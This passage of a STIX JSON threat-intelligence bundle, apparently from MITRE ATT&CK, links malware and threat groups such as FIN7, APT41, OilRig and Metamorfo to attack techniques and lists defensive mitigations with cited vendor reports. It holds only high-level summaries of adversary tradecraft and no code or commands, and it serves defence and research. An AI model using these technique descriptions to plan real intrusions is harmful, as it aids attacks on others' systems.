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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "relationship_type": "subtechnique-of",
            "id": "relationship--f9867ca2-18a1-4e84-ad1d-61d7c85fe4b3",
            "type": "relationship",
            "modified": "2020-06-23T19:12:25.121Z",
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        {
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            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "relationship_type": "mitigates",
            "description": "Script blocking extensions can help prevent the execution of scripts and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.",
            "id": "relationship--a6360da7-8678-4d7c-a866-6f2a982a23ba",
            "type": "relationship",
            "modified": "2020-08-13T20:09:39.468Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "relationship_type": "mitigates",
            "description": "Script blocking extensions can help prevent the execution of scripts and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.",
            "id": "relationship--d4dbffc2-246d-4fd4-8c3c-0e7901aaef05",
            "type": "relationship",
            "modified": "2020-10-21T16:09:10.775Z",
            "created": "2020-06-23T19:14:12.712Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.",
                    "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/",
                    "source_name": "SecureList Griffon May 2019"
                }
            ],
            "description": "[GRIFFON](https://attack.mitre.org/software/S0417) is written in and executed as [JavaScript](https://attack.mitre.org/techniques/T1059/007).(Citation: SecureList Griffon May 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--58801cab-349a-4f09-b449-149b19bcf085",
            "type": "relationship",
            "modified": "2020-06-23T19:20:46.002Z",
            "created": "2020-06-23T19:20:46.002Z"
        },
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            ],
            "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "external_references": [
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can collect sensitive mailing information from Exchange servers, including credentials and the domain certificate of an enterprise.(Citation: Cybereason Valak May 2020)",
            "relationship_type": "uses",
            "id": "relationship--99dfbbaa-5e58-4a03-9b94-fb6962681ce3",
            "type": "relationship",
            "modified": "2020-06-24T01:11:43.031Z",
            "created": "2020-06-23T19:30:44.853Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                },
                {
                    "source_name": "PTSecurity Cobalt Group Aug 2017",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"
                },
                {
                    "source_name": "Group IB Cobalt Aug 2017",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "url": "https://www.group-ib.com/blog/cobalt"
                },
                {
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "source_name": "Morphisec Cobalt Gang Oct 2018"
                },
                {
                    "source_name": "Unit 42 Cobalt Gang Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/",
                    "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."
                },
                {
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "source_name": "TrendMicro Cobalt Group Nov 2017"
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has executed JavaScript scriptlets on the victim's machine.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
            "relationship_type": "uses",
            "id": "relationship--8e8bebc7-14ff-4c84-a2a4-472446c5897a",
            "type": "relationship",
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            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                },
                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) used JavaScript scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: FireEye FIN7 Aug 2018)",
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            "id": "relationship--72b1c4ab-81ca-47a4-a541-ceb44580c87b",
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        },
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            ],
            "source_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
            "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
            "relationship_type": "subtechnique-of",
            "id": "relationship--d2468213-1073-43d0-bd10-020b23597a6f",
            "type": "relationship",
            "modified": "2020-06-23T22:28:28.085Z",
            "created": "2020-06-23T22:28:28.085Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c",
            "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
            "relationship_type": "mitigates",
            "description": "[Environmental Keying](https://attack.mitre.org/techniques/T1480/001) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.",
            "id": "relationship--9a513f75-f09b-4840-8654-521fa4ff59fa",
            "type": "relationship",
            "modified": "2020-06-24T18:52:12.858Z",
            "created": "2020-06-23T22:35:10.751Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
            "external_references": [
                {
                    "source_name": "FireEye Outlook Dec 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html",
                    "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has abused the Outlook Home Page feature for persistence. [OilRig](https://attack.mitre.org/groups/G0049) has also used CVE-2017-11774 to roll back the initial patch designed to protect against Home Page abuse.(Citation: FireEye Outlook Dec 2019)",
            "relationship_type": "uses",
            "id": "relationship--3c367277-6168-4df8-b982-e9949994123d",
            "type": "relationship",
            "modified": "2020-06-24T00:26:37.174Z",
            "created": "2020-06-24T00:26:37.174Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7",
            "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
            "external_references": [
                {
                    "source_name": "Twitter ItsReallyNick APT41 EK",
                    "url": "https://twitter.com/ItsReallyNick/status/1189622925286084609",
                    "description": "Carr, N. (2019, October 30). Nick Carr Status Update APT41 Environmental Keying. Retrieved June 23, 2020."
                }
            ],
            "description": "[APT41](https://attack.mitre.org/groups/G0096) has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. [APT41](https://attack.mitre.org/groups/G0096) has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number.(Citation: Twitter ItsReallyNick APT41 EK)",
            "relationship_type": "uses",
            "id": "relationship--5212a108-111b-4467-84c9-933d2b84aad2",
            "type": "relationship",
            "modified": "2020-06-24T00:51:25.879Z",
            "created": "2020-06-24T00:51:25.879Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "relationship_type": "mitigates",
            "description": "Restrict access to the <code>authorized_keys</code> file.",
            "id": "relationship--3bc431bd-f093-4daf-b264-e73f1fcf591a",
            "type": "relationship",
            "modified": "2020-06-25T16:32:23.561Z",
            "created": "2020-06-24T12:42:35.446Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "relationship_type": "mitigates",
            "description": "Disable SSH if it is not necessary on a host or restrict SSH access for specific users/groups using <code>/etc/ssh/sshd_config</code>.",
            "id": "relationship--8faa230d-ced2-4289-81c5-554fd6dc62fd",
            "type": "relationship",
            "modified": "2020-06-25T16:32:23.591Z",
            "created": "2020-06-24T12:42:35.454Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "relationship_type": "subtechnique-of",
            "id": "relationship--8b86fa49-6d13-42b4-bd48-814abfd6793f",
            "type": "relationship",
            "modified": "2020-06-24T12:42:35.464Z",
            "created": "2020-06-24T12:42:35.464Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0",
            "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "external_references": [
                {
                    "source_name": "Trend Micro Skidmap",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
                }
            ],
            "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to add the public key of its handlers to the <code>authorized_keys</code> file to maintain persistence on an infected host.(Citation: Trend Micro Skidmap)",
            "relationship_type": "uses",
            "id": "relationship--13d595d2-9497-4bbe-be74-6e2a3a4dde06",
            "type": "relationship",
            "modified": "2020-06-25T13:32:00.164Z",
            "created": "2020-06-24T13:16:30.364Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "description": "[ABK](https://attack.mitre.org/software/S0469) can extract a malicious Portable Executable (PE) from a photo.(Citation: Trend Micro Tick November 2019)",
            "relationship_type": "uses",
            "id": "relationship--aba32ee8-9eca-45fa-99f3-89e75dbc16a6",
            "type": "relationship",
            "modified": "2020-06-24T15:33:08.153Z",
            "created": "2020-06-24T15:33:08.153Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "description": "[BBK](https://attack.mitre.org/software/S0470) can extract a malicious Portable Executable (PE) from a photo.(Citation: Trend Micro Tick November 2019)",
            "relationship_type": "uses",
            "id": "relationship--3811b12a-fcfc-47d2-83ec-89df60ca4c21",
            "type": "relationship",
            "modified": "2020-06-24T15:36:00.917Z",
            "created": "2020-06-24T15:36:00.917Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
            "relationship_type": "mitigates",
            "description": "Ensure least privilege principles are applied to Identity and Access Management (IAM) security policies.(Citation: Expel IO Evil in AWS)",
            "id": "relationship--b29139fc-f053-44f7-9b5f-6029a984474d",
            "external_references": [
                {
                    "source_name": "Expel IO Evil in AWS",
                    "url": "https://expel.io/blog/finding-evil-in-aws/",
                    "description": "Anthony Randazzo, Britton Manahan and Sam Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-07-07T13:49:05.463Z",
            "created": "2020-06-24T16:55:46.379Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
            "relationship_type": "mitigates",
            "description": "Routinely check account role permissions to ensure only expected users and roles have permission to modify cloud firewalls. ",
            "id": "relationship--9bb5eb8e-b05c-4890-a5aa-6c038b61d5d7",
            "type": "relationship",
            "modified": "2020-07-07T13:49:05.492Z",
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        },
        {
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            ],
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            "relationship_type": "subtechnique-of",
            "id": "relationship--dfc19325-9b8a-4cb7-80fc-dedc2cf8742a",
            "type": "relationship",
            "modified": "2020-06-24T16:55:46.408Z",
            "created": "2020-06-24T16:55:46.408Z"
        },
        {
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            ],
            "source_ref": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "description": "[Avenger](https://attack.mitre.org/software/S0473) can extract backdoor malware from downloaded images.(Citation: Trend Micro Tick November 2019)",
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            "id": "relationship--c748a743-6d63-4287-a86a-d799e14fcd99",
            "type": "relationship",
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            "created": "2020-06-24T17:41:52.664Z"
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            "source_ref": "malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
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                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "description": "[build_downer](https://attack.mitre.org/software/S0471) can extract malware from a downloaded JPEG.(Citation: Trend Micro Tick November 2019)",
            "relationship_type": "uses",
            "id": "relationship--5342c0fb-0f4d-456a-a7e7-525c60b7f82e",
            "type": "relationship",
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            "created": "2020-06-24T17:45:50.049Z"
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        {
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            ],
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            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has disguised an MSI file as the Adobe Acrobat Reader Installer.(Citation: Medium Metamorfo Apr 2020)",
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            "id": "relationship--d6829fd4-7c9b-495f-9689-d1be1939f99e",
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                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "Upon execution, [Metamorfo](https://attack.mitre.org/software/S0455) has unzipped itself after being downloaded to the system.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--f264330f-3c9f-4a2a-a6f6-904a9139bbf5",
            "type": "relationship",
            "modified": "2020-07-30T17:43:35.562Z",
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        },
        {
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used native WINAPI calls.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)",
            "relationship_type": "uses",
            "id": "relationship--3c132a1b-053d-450b-8a4f-cabf30317075",
            "type": "relationship",
            "modified": "2020-07-30T18:50:52.506Z",
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            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
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                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has hidden its GUI using the ShowWindow() WINAPI call.(Citation: Medium Metamorfo Apr 2020) ",
            "relationship_type": "uses",
            "id": "relationship--ef934eda-a3ad-40fb-8923-fc2f72fb8f6e",
            "type": "relationship",
            "modified": "2020-06-24T19:58:56.888Z",
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            "object_marking_refs": [
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) can download and execute additional payloads on a compromised host.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--197ade21-6787-4ed3-a3ce-ff4b59b2f15c",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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                {
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                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has hidden malicious payloads in <code>%USERPROFILE%\\Adobe\\Driver\\dwg\\</code> and mimicked the legitimate DHCP service binary.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--ebf39235-749f-400e-aeb9-185df9e43fe1",
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            "source_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
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            "id": "relationship--fc787de3-8a82-43f6-b649-f01a7006be54",
            "type": "relationship",
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            "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
            "relationship_type": "mitigates",
            "description": "Limit the privileges of user accounts so that only authorized administrators can edit system environment variables.",
            "id": "relationship--fd47b0c7-e1d9-4e6d-8081-4e56ecb1ad03",
            "type": "relationship",
            "modified": "2020-06-26T16:09:59.148Z",
            "created": "2020-06-24T22:37:51.030Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
            "relationship_type": "mitigates",
            "description": "Identify and block potentially malicious unmanaged COR_PROFILER profiling DLLs  by using application control solutions like AppLocker that are capable of auditing and/or blocking unapproved DLLs.(Citation: Beechey 2010)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)",
            "id": "relationship--caf19942-8346-447f-9781-28a0b858c43f",
            "external_references": [
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-26T16:09:59.180Z",
            "created": "2020-06-24T22:37:51.034Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee",
            "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
            "external_references": [
                {
                    "source_name": "RedCanary Mockingbird May 2020",
                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used wmic.exe and Windows Registry modifications to set the COR_PROFILER environment variable to execute a malicious DLL whenever a process loads the .NET CLR.(Citation: RedCanary Mockingbird May 2020)",
            "relationship_type": "uses",
            "id": "relationship--0e7ce20c-1a4f-4361-a954-1d7a164baca1",
            "type": "relationship",
            "modified": "2020-06-25T13:59:10.215Z",
            "created": "2020-06-24T23:51:51.525Z"
        },
        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1",
            "target_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541",
            "external_references": [
                {
                    "source_name": "SANS Windshift August 2018",
                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
                },
                {
                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
                },
                {
                    "source_name": "objective-see windtail2 jan 2019",
                    "url": "https://objective-see.com/blog/blog_0x3D.html",
                    "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."
                }
            ],
            "description": "(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--4fb841dd-93d8-404a-8738-5fe19a53c730",
            "type": "relationship",
            "modified": "2020-06-25T17:22:29.070Z",
            "created": "2020-06-25T17:22:29.070Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "SANS Windshift August 2018",
                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used e-mail attachments to lure victims into executing malicious code.(Citation: SANS Windshift August 2018)",
            "relationship_type": "uses",
            "id": "relationship--f7800d2b-7eb5-4efe-ac8d-503c187d18ef",
            "type": "relationship",
            "modified": "2020-06-25T17:48:41.169Z",
            "created": "2020-06-25T17:48:41.169Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1",
